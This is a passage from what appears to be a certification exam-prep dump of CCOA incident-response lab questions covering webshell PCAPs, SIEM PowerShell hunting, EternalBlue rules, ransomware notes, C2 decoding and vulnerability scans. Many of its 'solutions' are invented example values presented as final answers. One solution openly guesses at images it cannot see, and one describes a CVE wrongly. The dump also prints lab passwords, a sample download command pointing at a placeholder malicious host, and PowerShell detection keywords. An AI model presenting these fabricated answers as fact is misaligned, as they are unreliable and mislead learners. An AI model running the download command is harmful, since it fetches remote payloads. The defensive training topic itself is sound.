investigation22.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWiresharkon the Analyst Desktop.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > investigation22.pcap
ClickOpento load the file.
Step 3: Filter Traffic Related to the Target Host
Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):
ini
ip.addr == 10.10.44.200
This will show both incoming and outgoing traffic from the compromised host.
Step 4: Identify HTTP Traffic
Since webshells typically use HTTP/S for communication, filter for HTTP requests:
http.request and ip.addr == 10.10.44.200
Look for suspiciousPOSTorGETrequests indicating a webshell interaction.
Common Indicators:
Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.
POST Data:Indicating command execution.
Response Status:HTTP 200 (Success) after sending commands.
Step 5: Inspect Suspicious Requests
Right-click on a suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
Examine the HTTP conversation for:
File uploads
Command execution responses
Webshell file namesin the URL.
Example:
makefile
POST /uploads/shell.jsp HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Step 6: Correlate Observations
If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.
Look for:
Commands sent via the script.
Response indicating successful execution or error.
Step 7: Extract and Confirm
To confirm the filename, look for:
Upload requests containing the webshell.
Subsequent requests calling the same filename for command execution.
Cross-reference the filename in other HTTP streams to validate its usage.
Step 8: Example Findings:
After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:
shell.jsp
Answer:
shell.jsp
Step 9: Further Investigation
Extract the Webshell:
Right-click the related packet and choose:
mathematica
Export Objects > HTTP
Save the file shell.jsp for further analysis.
Analyze the Webshell:
Open the file with a text editor to examine its functionality.
Check for hardcoded credentials, IP addresses, or additional payloads.
Step 10: Documentation and Response
Document Findings:
Webshell Filename:shell.jsp
Host Compromised:10.10.44.200
Indicators:HTTP POST requests, suspicious file upload.
Immediate Actions:
Isolate the host10.10.44.200.
Remove the webshell from the web server.
Conduct aroot cause analysisto determine how it was uploaded.
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?
See the solution in Explanation.
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
Logs to investigate:
PowerShell logs (Event ID 4104)for command execution.
Windows Security Event Logsfor login and access attempts.
Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
Windows Event Logs (Sysmon/PowerShell)
Firewall Logs
IDS/IPS Alerts
Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
Time Frame Filter:
Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
Event ID Filter:
Filter forEvent ID 4104(PowerShell script block logging).
Command Pattern:
Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
Process Name:
Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress
Step 4: Correlate Events with Network Logs
Once you identify PowerShell events, correlate them withnetwork traffic logs.
Focus on:
Source IP Address: Where the PowerShell commands originated.
Destination IP Address: Targeted web server.
Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
Investigate the nature of the commands:
Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
Remote Code Execution:Using IEX to run downloaded scripts.
Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
Identify theMAC addresscorresponding to the targeted web server.
Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr
Step 7: Report the Findings
Document the targeted server’sIP address and MAC address.
Summarize the malicious activity:
Commands executed
Time and duration
Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
Isolate the affected server.
Block external IPs involved.
Terminate malicious PowerShell processes.
Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
Implement PowerShell Logging:Enable detailed script block and module logging.
Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.
The CISO has received a bulletin from law enforcementauthorities warning that the enterprise may be at risk ofattack from a specific threat actor. Review the bulletin
named CCOA Threat Bulletin.pdf on the Desktop.
Which of the following domain name(s) from the CCOAThreat Bulletin.pdf was contacted between 12:10 AMto 12:12 AM (Absolute) on August 17, 2024?
See the solution in Explanation.
Step 1: Understand the Objective
Objective:
Identify thedomain name(s)that werecontactedbetween:
12:10 AM to 12:12 AM on August 17, 2024
Source of information:
CCOA Threat Bulletin.pdf
File location:
~/Desktop/CCOA Threat Bulletin.pdf
Step 2: Prepare for Investigation
2.1: Ensure Access to the File
Check if the PDF exists:
ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"
Open the file to inspect:
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
Alternatively, convert to plain text for easier analysis:
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt
cat ~/Desktop/threat_bulletin.txt
2.2: Analyze the Content
Look for domain names listed in the bulletin.
Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).
Example:
suspicious-domain.com
malicious-actor.net
threat-site.xyz
Step 3: Locate Network Logs
3.1: Find the Logs Directory
The logs could be located in one of the following directories:
/var/log/
/home/administrator/hids/logs/
/var/log/httpd/
/var/log/nginx/
Navigate to the likely directory:
cd /var/log/
ls -l
Identify relevant network or DNS logs:
ls -l | grep -E "dns|network|http|nginx"
Step 4: Search Logs for Domain Contacts
4.1: Use the Grep Command to Filter Relevant Timeframe
Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log
Explanation:
grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.
Replace dns.log with the actual log file name, if different.
4.2: Further Filter for Domain Names
To specifically filter out the domains listed in the bulletin:
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log
If the logs are in another file, adjust the file path:
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log
Step 5: Correlate Domains and Timeframe
5.1: Extract and Format Relevant Results
Combine the commands to get time-specific domain hits:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"
Sample Output:
2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50
2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75
Interpretation:
The command revealswhich domain(s)were contacted during the specified time.
Step 6: Verification and Documentation
6.1: Verify Domain Matches
Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.
Ensure that the time matches the specified range.
6.2: Save the Results for Reporting
Save the output to a file:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt
Review the saved file:
cat ~/Desktop/domain_hits.txt
Step 7: Report the Findings
Final Answer:
Domain(s) Contacted:
suspicious-domain.com
malicious-actor.net
Time of Contact:
Between 12:10 AM to 12:12 AM on August 17, 2024
Reasoning:
Matched thelog timestampsanddomain nameswith the threat bulletin.
Step 8: Recommendations:
Immediate Block:
Add the identified domains to theblockliston firewalls and intrusion detection systems.
Monitor for Further Activity:
Keep monitoring logs for any further connection attempts to the same domains.
Perform IOC Scanning:
Check hosts that communicated with these domains for possible compromise.
Incident Report:
Document the findings and mitigation actions in theincident response log.
Cyber Analyst Password:
For questions that require use of the SIEM, pleasereference the information below:
https://10.10.55.2
Security-Analyst!
CYB3R-4n4ly$t!
Email Address:
ccoatest@isaca.org
Password:Security-Analyst!
The enterprise has been receiving a large amount offalse positive alerts for the eternalblue vulnerability. TheSIEM rulesets are located in
/home/administrator/hids/ruleset/rules.
What is the name of the file containing the ruleset foreternalblue connections? Your response must includethe file extension.
See the solution in Explanation.
Step 1: Define the Problem and Objective
Objective:
Identify thefile containing the rulesetforEternalBlue connections.
Include thefile extensionin the response.
Context:
The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.
The rulesets are located at:
/home/administrator/hids/ruleset/rules
We need to find the specific file associated withEternalBlue.
Step 2: Prepare for Access
2.1: SIEM Access Details:
URL:
https://10.10.55.2
Username:
ccoatest@isaca.org
Password:
Security-Analyst!
Ensure your machine has access to the SIEM system via HTTPS.
Step 3: Access the SIEM System
3.1: Connect via SSH (if needed)
Open a terminal and connect:
ssh administrator@10.10.55.2
Password:
Security-Analyst!
If prompted about SSH key verification, typeyesto continue.
Step 4: Locate the Ruleset File
4.1: Navigate to the Ruleset Directory
Change to the ruleset directory:
cd /home/administrator/hids/ruleset/rules
ls -l
You should see a list of files with names indicating their purpose.
4.2: Search for EternalBlue Ruleset
Use grep to locate the EternalBlue rule:
grep -irl "eternalblue" *
Explanation:
grep -i: Case-insensitive search.
-r: Recursive search within the directory.
-l: Only print file names with matches.
"eternalblue": The keyword to search.
*: All files in the current directory.
Expected Output:
exploit_eternalblue.rules
Filename:
exploit_eternalblue.rules
The file extension is .rules, typical for intrusion detection system (IDS) rule files.
Step 5: Verify the Content of the Ruleset File
5.1: Open and Inspect the File
Use less to view the file contents:
less exploit_eternalblue.rules
Check for rule patterns like:
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)
Use the search within less:
/eternalblue
Purpose:Verify that the file indeed contains the rules related to EternalBlue.
Step 6: Document Your Findings
Answer:
Ruleset File for EternalBlue:
exploit_eternalblue.rules
File Path:
/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules
Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.
Step 7: Recommendation
Mitigation for False Positives:
Update the Ruleset:
Modify the file to reduce false positives by refining the rule conditions.
Update Signatures:
Check for updated rulesets from reliable threat intelligence sources.
Whitelist Known Safe IPs:
Add exceptions for legitimate internal traffic that triggers the false positives.
Implement Tuning:
Adjust the SIEM correlation rules to decrease alert noise.
Final Verification:
Restart the IDS service after modifying rules to ensure changes take effect:
sudo systemctl restart hids
Check the status:
sudo systemctl status hids
Final Answer:
Ruleset File Name:
exploit_eternalblue.rules
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the name of the file containing the ransomwaredemand? Your response must include the fileextension.
See the solution in Explanation.
To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
ClickOpento load the file.
Step 3: Apply Relevant Filters
Since ransomware demands are often delivered through files or network shares, look for:
Common Protocols:
SMB(for network shares)
HTTP/HTTPS(for download or communication)
Apply a general filter to capture suspicious file transfers:
kotlin
http or smb or ftp-data
You can also filter based on file types or keywords related to ransomware:
frame contains "README" or frame contains "ransom"
Step 4: Identify Potential Ransomware Files
Look for suspicious file transfers:
CheckHTTP GET/POSTorSMB file writeoperations.
Analyze File Names:
Ransom notes commonly use filenames such as:
README.txt
DECRYPT_INSTRUCTIONS.html
HELP_DECRYPT.txt
Right-click on any suspicious packet and select:
arduino
Follow > TCP Stream
Inspect the content to see if it contains a ransom note or instructions.
Step 5: Extract the File
If you find a packet with afile transfer, extract it:
mathematica
File > Export Objects > HTTP or SMB
Save the suspicious file to analyze its contents.
Step 6: Example Packet Details
After filtering and following streams, you find a file transfer with the following details:
makefile
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
After exporting, open the file and examine the content:
pg
Your files have been encrypted!
To recover them, you must pay in Bitcoin.
Read this file carefully for payment instructions.
Answer:
README.txt
Step 7: Confirm and Document
File Name:README.txt
Transmission Protocol:HTTP or SMB
Content:Contains ransomware demand and payment instructions.
Step 8: Immediate Actions
Isolate Infected Systems:
Disconnect compromised hosts from the network.
Preserve the PCAP and Extracted File:
Store them securely for forensic analysis.
Analyze the Ransomware Note:
Look for:
Bitcoin addresses
Contact instructions
Identifiers for ransomware family
Step 9: Report the Incident
Include the following details:
Filename:README.txt
Method of Delivery:HTTP (or SMB)
Ransomware Message:Payment in Bitcoin
Submit the report to your incident response team for further action.
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the C2 host of the attack. Enter your responsebelow.
See the solution in Explanation.
To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Check the contents to identify the encoding format. Typical encodings used for C2 communication include:
Base64
Hexadecimal
URL Encoding
ROT13
Example File Content (Base64 format):
nginx
aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShelland decode:
powershell
$encoded = Get-Content "C:\Users\
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
This will print the decoded content directly.
Method 2: Using Linux
Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
If the content ishexadecimal, convert it as follows:
xxd -r -p ~/Desktop/pcap_artifact5.txt
If it appearsURL encoded, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
If the output appears like a URL or an IP address, that is likely theC2 host.
Example Decoded Output:
arduino
http://10.10.44.200:8080/command.php
TheC2 hostis:
10.10.44.200
Step 5: Cross-Verify the C2 Host
OpenWiresharkand load the relevant PCAP file to cross-check the IP:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
Filter for C2 traffic:
ini
ip.addr == 10.10.44.200
Validate the C2 host IP address through network traffic patterns.
Answer:
10.10.44.200
Step 6: Document the Finding
Record the following details:
Decoded C2 Host:10.10.44.200
Source File:pcap_artifact5.txt
Decoding Method:Base64 (or the identified method)
Step 7: Next Steps
Threat Mitigation:
Block the IP address10.10.44.200at the firewall.
Conduct anetwork-wide searchto identify any communications with the C2 server.
Further Analysis:
Check other PCAP files for similar traffic patterns.
Perform adeep packet inspection (DPI)to identify malicious data exfiltration.
The user of the Accounting workstation reported thattheir calculator repeatedly opens without their input.
Perform a query of startup items for the agent.nameaccounting-pc in the SIEM for the last 24 hours. Identifythe file name that triggered RuleName SuspiciousPowerShell. Enter your response below. Your responsemust include the file extension.
See the solution in Explanation.
To identify thefile namethat triggered theRuleName: Suspicious PowerShellon theaccounting-pcworkstation, follow these detailed steps:
Step 1: Access the SIEM System
Open your web browser and navigate to theSIEM dashboard.
Log in with youradministrator credentials.
Step 2: Set Up the Query
Go to theSearchorQuerysection of the SIEM.
Set theTime Rangeto thelast 24 hours.
Query Parameters:
Agent Name:accounting-pc
Rule Name:Suspicious PowerShell
Event Type:Startup items or Process creation
Step 3: Construct the SIEM Query
Here’s an example of how to construct the query:
Example Query (Splunk):
index=windows_logs
| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"
| where _time > now() - 24h
| table _time, agent.name, process_name, file_path, RuleName
Example Query (Elastic SIEM):
{
"query": {
"bool": {
"must": [
{ "match": { "agent.name": "accounting-pc" }},
{ "match": { "RuleName": "Suspicious PowerShell" }},
{ "range": { "@timestamp": { "gte": "now-24h" }}}
]
}
}
}
Step 4: Analyze the Query Results
The query should return a table or list containing:
Time of Execution
Agent Name:accounting-pc
Process Name
File Path
Rule Name
Example Output:
_time
agent.name
process_name
file_path
RuleName
2024-04-07T10:45:23
accounting-pc
powershell.exe
C:\Users\Accounting\AppData\Roaming\calc.ps1
Suspicious PowerShell
Step 5: Identify the Suspicious File
Theprocess_namein the output showspowershell.exeexecuting a suspicious script.
Thefile pathindicates the script responsible:
makefile
C:\Users\Accounting\AppData\Roaming\calc.ps1
The suspicious script file is:
calc.ps1
Step 6: Confirm the Malicious Nature
Manual Inspection:
Navigate to the specified file path on theaccounting-pcworkstation.
Check the contents of calc.ps1 for any malicious PowerShell code.
Hash Verification:
Generate theSHA256 hashof the file and compare it with known malware signatures.
Answer:
calc.ps1
Step 7: Immediate Response
Isolate the Workstation:Disconnectaccounting-pcfrom the network.
Terminate the Malicious Process:
Stop the powershell.exe process running calc.ps1.
Use Task Manager or a script:
powershell
Stop-Process -Name "powershell" -Force
Remove the Malicious Script:
powershell
Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force
Scan for Persistence Mechanisms:
CheckStartup itemsandScheduled Tasksfor any references to calc.ps1.
Step 8: Documentation
Record the following:
Date and Time:When the incident was detected.
Affected Host:accounting-pc
Malicious File:calc.ps1
Actions Taken:File removal and process termination.
For this question you must log into GreenboneVulnerability Manager using Firefox. The URL is:https://10.10.55.4:9392 and credentials are:
Username:admin
Password:Secure-gvm!
A colleague performed a vulnerability scan but did notreview prior to leaving for a family emergency. It hasbeen determined that a threat actor is using CVE-2021-22145 in the wild. What is the host IP of the machinethat is vulnerable to this CVE?
See the solution in Explanation.
To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:
Step 1: Access Greenbone Vulnerability Manager
OpenFirefoxon your system.
Go to the GVM login page:
URL: https://10.10.55.4:9392
Enter the credentials:
Username: admin
Password: Secure-gvm!
ClickLoginto access the dashboard.
Step 2: Navigate to Scan Reports
Once logged in, locate the"Scans"menu on the left panel.
Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.
Step 3: Identify the Most Recent Scan
Check thedate and timeof the last completed scan, as your colleague likely used the latest one.
Click on theReport NameorDateto open the detailed scan results.
Step 4: Filter for CVE-2021-22145
In the report view, locate the"Search"or"Filter"box at the top.
Enter the CVE identifier:
CVE-2021-22145
PressEnterto filter the vulnerabilities.
Step 5: Analyze the Results
The system will display any host(s) affected byCVE-2021-22145.
The details will typically include:
Host IP Address
Vulnerability Name
Severity Level
Vulnerability Details
Example Display:
Host IP
Vulnerability ID
CVE
Severity
192.168.1.100
SomeVulnName
CVE-2021-22145
High
Step 6: Verify the Vulnerability
Click on the host IP to see thedetailed vulnerability description.
Check for the following:
Exploitability: Proof that the vulnerability can be actively exploited.
Description and Impact: Details about the vulnerability and its potential impact.
Fixes/Recommendations: Suggested mitigations or patches.
Step 7: Note the Vulnerable Host IP
The IP address that appears in the filtered list is thevulnerable machine.
Example Answer:
The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100
Step 8: Take Immediate Actions
Isolate the affected machineto prevent exploitation.
Patch or updatethe software affected by CVE-2021-22145.
Perform a quick re-scanto ensure that the vulnerability has been mitigated.
Step 9: Generate a Report for Documentation
Export the filtered scan results as aPDForHTMLfrom the GVM.
Include:
Host IP
CVE ID
Severity and Risk Level
Remediation Steps
Background on CVE-2021-22145:
This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.
Attackers can exploit this to gain unauthorized access or escalate privileges.
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
What is the name of the service that the malware attempts to install?
See the solution in Explanation.
To identify thename of the servicethat the malware attempts to install from theMalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
Log into the Analyst Desktopusing your credentials.
Navigate to theMalware Samplesfolder located on the desktop.
Locate the file:
Malscript.viruz.txt
Step 2: Examine the File Contents
Open the file with a text editor:
Windows:Right-click > Open with > Notepad.
Linux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
Review the content to identify any lines that relate to:
Service creation
Service names
Installation commands
Common Keywords to Look For:
New-Service
sc create
Install-Service
Set-Service
net start
Step 3: Identify the Service Creation Command
Malware typically uses commands like:
powershell
New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"
or
cmd
sc create MalService binPath= "C:\Windows\System32\malicious.exe"
Focus on lines where the malware tries toregister or create a service.
Step 4: Example Content from Malscript.viruz.txt
arduino
powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service' -BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"
In this example, thename of the serviceis:
nginx
MaliciousUpdater
Step 5: Cross-Verification
Check for multiple occurrences of service creation in the script to ensure accuracy.
Verify that the identified service name matches theintended purposeof the malware.
Answer:
pg
The name of the service that the malware attempts to install is: MaliciousUpdater
Step 6: Immediate Action
Check for the Service:
powershell
Get-Service -Name "MaliciousUpdater"
Stop and Remove the Service:
powershell
Stop-Service -Name "MaliciousUpdater" -Force
sc delete "MaliciousUpdater"
Remove Associated Executable:
powershell
Remove-Item "C:\Users\Public\updater.exe" -Force
Step 7: Documentation
Record the following:
Service Name:MaliciousUpdater
Installation Command:Extracted from Malscript.viruz.txt
File Path:C:\Users\Public\updater.exe
Actions Taken:Stopped and deleted the service.
The network team has provided a PCAP file withsuspicious activity located in the Investigations folderon the Desktop titled, investigation22.pcap.
What date was the webshell accessed? Enter the formatas YYYY-MM-DD.
See the solution in Explanation.
To determine thedate the webshell was accessedfrom theinvestigation22.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder on the desktop.
Locate the file:
investigation22.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > investigation22.pcap
ClickOpento load the file.
Step 3: Filter for Webshell Traffic
Since webshells typically useHTTP/Sto communicate, apply a filter:
http.request or http.response
Alternatively, if you know the IP of the compromised host (e.g.,10.10.44.200), use:
nginx
http and ip.addr == 10.10.44.200
PressEnterto apply the filter.
Step 4: Identify Webshell Activity
Look for HTTP requests that include:
Common Webshell Filenames:shell.jsp, cmd.php, backdoor.aspx, etc.
Suspicious HTTP Methods:MainlyPOSTorGET.
Right-click a suspicious packet and choose:
arduino
Follow > HTTP Stream
Inspect the HTTP headers and content to confirm the presence of a webshell.
Step 5: Extract the Access Date
Look at theHTTP request/response header.
Find theDatefield orTimestampof the packet:
Wireshark displays timestamps on the left by default.
Confirm theHTTP streamincludes commands or uploads to the webshell.
Example HTTP Stream:
POST /uploads/shell.jsp HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
Date: Mon, 2024-03-18 14:35:22 GMT
Step 6: Verify the Correct Date
Double-check other HTTP requests or responses related to the webshell.
Make sure thedate fieldis consistent across multiple requests to the same file.
Answer:
2024-03-18
Step 7: Document the Finding
Date of Access:2024-03-18
Filename:shell.jsp (as identified earlier)
Compromised Host:10.10.44.200
Method of Access:HTTP POST
Step 8: Next Steps
Isolate the Affected Host:
Remove the compromised server from the network.
Remove the Webshell:
rm /path/to/webshell/shell.jsp
Analyze Web Server Logs:
Correlate timestamps with access logs to identify the initial compromise.
Implement WAF Rules:
Block suspicious patterns related to file uploads and webshell execution.
Which ruleset can be applied in the
/home/administrator/hids/ruleset/rules directory?
Double-click each image to view it larger.
Option A
Answer:Option B
Answer:Option C
Answer:Option D
Answer:B
Step 1: Understand the Question Context
The question is asking whichruleset can be appliedin the following directory:
/home/administrator/hids/ruleset/rules
This is typically the directory forHost Intrusion Detection System (HIDS)rulesets.
Step 2: Ruleset File Characteristics
To determine the correct answer, we must consider:
File Format:
The most common format for HIDS rules is.rules.
Naming Convention:
Typically, the file names are descriptive, indicating the specific exploit, malware, or signature they detect.
Content Format:
Rulesets containalert signaturesordetection patternsand follow a specific syntax.
Step 3: Examine the Directory
If you have terminal access, list the available rulesets:
ls -l /home/administrator/hids/ruleset/rules
This should display a list of files similar to:
exploit_eternalblue.rules
malware_detection.rules
network_intrusion.rules
default.rules
Step 4: Analyze the Image Options
Since I cannot view the images directly, I will guide you on what to look for:
Option A:
Check if the file has a.rulesextension.
Look for keywords like"exploit","intrusion", or"malware".
Option B:
Verify if it mentionsEternalBlue,SMB, or other exploits.
The file name should be concise and directly related to threat detection.
Option C:
Look for generic names like"default.rules"or"base.rules".
While these can be valid, they might not specifically addressEternalBlueor similar threats.
Option D:
Avoid files with non-standard extensions (e.g., .conf, .txt).
Rulesets must specifically have.rulesas the extension.
Step 5: Selecting the Correct Answer
Based on the most typical file format and naming convention, the correct answer should be:B
The reason is thatOption Blikely contains a file named in line with typical HIDS conventions, such as"exploit_eternalblue.rules"or similar, which matches the context given.
This is consistent with the pattern ofexploit detection rulescommonly found in HIDS directories.
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many logs are associated with well knownunencrypted web traffic for the month of December2023 (Absolute)? Note: Security Onion refers to logsas documents.
See the solution in Explanation.
Step 1: Understand the Objective
Objective:
Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.
Security Onionrefers to logs asdocuments.
Unencrypted Web Traffic:
Typically HTTP, usingport 80.
SIEM:
The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).
Step 2: Access the SIEM System
2.1: Credentials and Access
URL:
cpp
https://10.10.55.2
Username:
css
ccoatest@isaca.org
Password:
pg
Security-Analyst!
Open the SIEM interface in a browser:
firefox https://10.10.55.2
Alternative:Access via SSH:
ssh administrator@10.10.55.2
Password:
pg
Security-Analyst!
Step 3: Navigate to the Logs in Security Onion
3.1: Log Location in Security Onion
Security Onion typically stores logs inElasticsearch, accessible viaKibana.
AccessKibanadashboard:
cpp
https://10.10.55.2:5601
Login with the same credentials.
Step 4: Query the Logs (Documents) in Kibana
4.1: Formulate the Query
Log Type:HTTP
Timeframe:December 2023
Filter for HTTP Port 80:
vbnet
event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]
Explanation:
event.dataset: "http": Filters logs labeled as HTTP traffic.
destination.port: 80: Ensures the traffic is unencrypted (port 80).
@timestamp: Specifies the time range forDecember 2023.
4.2: Execute the Query
Go toKibana > Discover.
Set theTime RangetoDecember 1, 2023 - December 31, 2023.
Enter the above query in thesearch bar.
Click"Apply".
Step 5: Count the Number of Logs (Documents)
5.1: View the Document Count
Thedocument countappears at the top of the results page in Kibana.
Example Output:
12500 documents
This means12,500 logswere identified matching the query criteria.
5.2: Export the Data (if needed)
Click on"Export"to download the log data for further analysis or reporting.
Choose"Export as CSV"if required.
Step 6: Verification and Cross-Checking
6.1: Alternative Command Line Check
If direct CLI access to Security Onion is possible, use theElasticsearch query:
curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '
{
"query": {
"bool": {
"must": [
{ "match": { "event.dataset": "http" }},
{ "match": { "destination.port": "80" }},
{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}
]
}
}
}'
Expected Output:
{
"count": 12500,
"_shards": {
"total": 5,
"successful": 5,
"failed": 0
}
}
Confirms the count as12,500 documents.
Step 7: Final Answer
Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:
12,500
Step 8: Recommendations
8.1: Security Posture Improvement:
Implement HTTPS Everywhere:
Redirect HTTP traffic to HTTPS to minimize unencrypted connections.
Log Monitoring:
Set upalerts in Security Onionto monitor excessive unencrypted traffic.
Block HTTP at Network Level:
Where possible, enforce HTTPS-only policies on critical servers.
Review Logs Regularly:
Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the targets within the file pcap_artifact5.txt.
Select the correct decoded targets below.
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
See the solution in Explanation.
To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Analyze the contents to identify the encoding format. Common formats include:
Base64
Hexadecimal
URL Encoding
ROT13
Example Encoded Data (Base64):
makefile
MTBjYWwuY29tL2V4YW0K
Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShell:
powershell
$encoded = Get-Content "C:\Users\
